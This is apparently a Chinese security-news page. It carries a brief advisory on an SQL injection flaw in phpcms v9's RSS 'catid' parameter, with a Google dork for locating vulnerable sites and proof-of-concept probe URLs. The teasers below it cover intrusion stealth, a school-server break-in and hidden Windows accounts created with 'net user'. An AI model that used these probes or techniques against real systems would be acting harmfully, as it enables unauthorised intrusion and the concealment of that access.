phpcms v9 blind哪里存在漏洞？参数过滤存在SQL注入漏洞

2018-03-08 13:04:47责编：llp 来源：驱动管家人气：

影响版本：phpcms v9 blind

官方网站：http://www.phpcms.cn

漏洞类型：SQL注入

漏洞描述：phpcms v9 blind 参数过滤存在SQL注入漏洞。

phpcms v9 blind哪里存在漏洞？参数过滤存在SQL注入漏洞

google dork:inurl:"index.php?m=content+c=rss+catid=10"

exploit & p0c

[!] index.php?m=content&c=rss&catid=[valid catid]

Example p0c

[!] http://host/index.php?m=content&c=rss&catid=10 <= True

[!] http://host/index.php?m=content&c=rss&catid=-10 <= False

[+] http://host/index.php?m=content&c=rss&catid=5 <= show MySQL Error (table)

入侵网站如何更好隐蔽自己？这里有隐蔽技巧
前两期中的专栏中，针对细节入侵这一专题，我分别写了我在内网和注入中注意到的一些细节。其实入侵过程中，有时候难免会与管理员面对面，如何更好的隐蔽自己也是很重要的，一旦不注意，入侵工作往往前功尽弃。这
详情2018-03-07 10:34:40责编：llp 来源：驱动管家
qq号被盗了怎么办？qq号被盗怎么找回？
QQ被盗在互联网上已经非常常见了，而且一直没有停过，保护好自己的QQ避免被盗，被人用来诈骗亲人朋友，一些保护措施要做好不要下载一些黑客软件，很多都有后门，不在陌生的电脑登录自己的qq。方法1、QQ号被盗了
详情2018-01-16 14:55:53责编：llp 来源：驱动管家
什么是phpddos流量攻击？phpddos流量攻击怎么处理？
这类攻击有一个最大的特性，就是上传流量霎时增大，通常流量高达数十以至近百M，将整台效劳器，以至将整台机柜的宽带堵住，使网站无法运转，而这样的攻击，我们无法从远程处理，一但那个phpshell运转，你的宽带
详情2018-01-24 18:05:55责编：llp 来源：驱动管家
怎么入侵某某学校的网站服务器？网站服务器入侵过程
在网上闲的蛋疼无聊百度搜索“蛋疼”二字看到一篇文章《蛋疼的中国黑客》虽然你的出发点是好的但是你侮辱了他们虽然我不是黑客但是我要消灭你…… 比较详细适合新手大牛路过…说做就做，日之独立ip服务器没有挂其
详情2018-02-07 16:30:04责编：llp 来源：驱动管家
如何降低ie mime sniffing功能带来的风险？
IE有一个特性，那就是在将一个文件展示给用户之前会首先检查文件的类型，这乍看起来并没什么问题，但实际上这是相当危险的，因为这会允许IE执行图片中的代码，即嵌入在一个图像中的JavaScript代码。引入MIME sni
详情2018-02-28 18:12:04责编：llp 来源：驱动管家
怎么提升服务器安全等级？这里有安全十五招
安全十五招，具体介绍请看下文。1 经常更改系统管理员密码。---->且密码最好是大小写都有2 定期更新系统补丁。---->开启自动更新，并设定到晚上重启。3 检查系统是否多出超级管理员，检查是否有帐号被克隆在“开
详情2018-01-25 15:29:57责编：llp 来源：驱动管家
黑客如何进行域名劫持的？域名劫持需要获得哪些信息？
近期发现adobe com,internet com,nike com,等等著名站点都分分遭受到攻击，但攻击者所使用的技术并不是以往所使用的入侵WEB服务器，更改主页的惯用手法，攻击者使用的是一种域名劫持攻击？攻击者通过冒充原域名拥
详情2018-01-21 12:35:36责编：llp 来源：驱动管家
终端dlp工具对安全的作用 dlp工具的限制
企业数据的共享从来都不是那么简单。员工可以用邮件添加附件，在云上同步文件，用闪存拷贝几个GB的数据，从外部访问网络上资源等等。这样的优点在于提高了生产力和工作的灵活性。不足就是IT对敏感数据的保护更为
详情2018-02-11 18:05:45责编：llp 来源：驱动管家
dedecms是什么？dedecms v5.6 final版本有哪些漏洞？
影响版本:DEDECMS v5 6 Final程序介绍:DedeCms 基于PHP+MySQL的技术开发，支持Windows、Linux、Unix等多种服务器平台，从2004年开始发布第一个版本开始，至今已经发布了五个大版本。DedeCms以简单、健壮、灵活
详情2018-01-17 13:30:56责编：llp 来源：驱动管家
通过特殊字符建立命令行界面下不显示的隐藏账号
详细说明：可以通过特殊字符建立隐藏账户。命令行界面下不显示，用户管理面板中显示为空非$ 可以通过智能ABC输入法中V9里的空白字符建立隐藏帐号，命令行下无法建立,可以先写个批处理，如下:net user123456
详情2018-03-08 09:49:03责编：llp 来源：驱动管家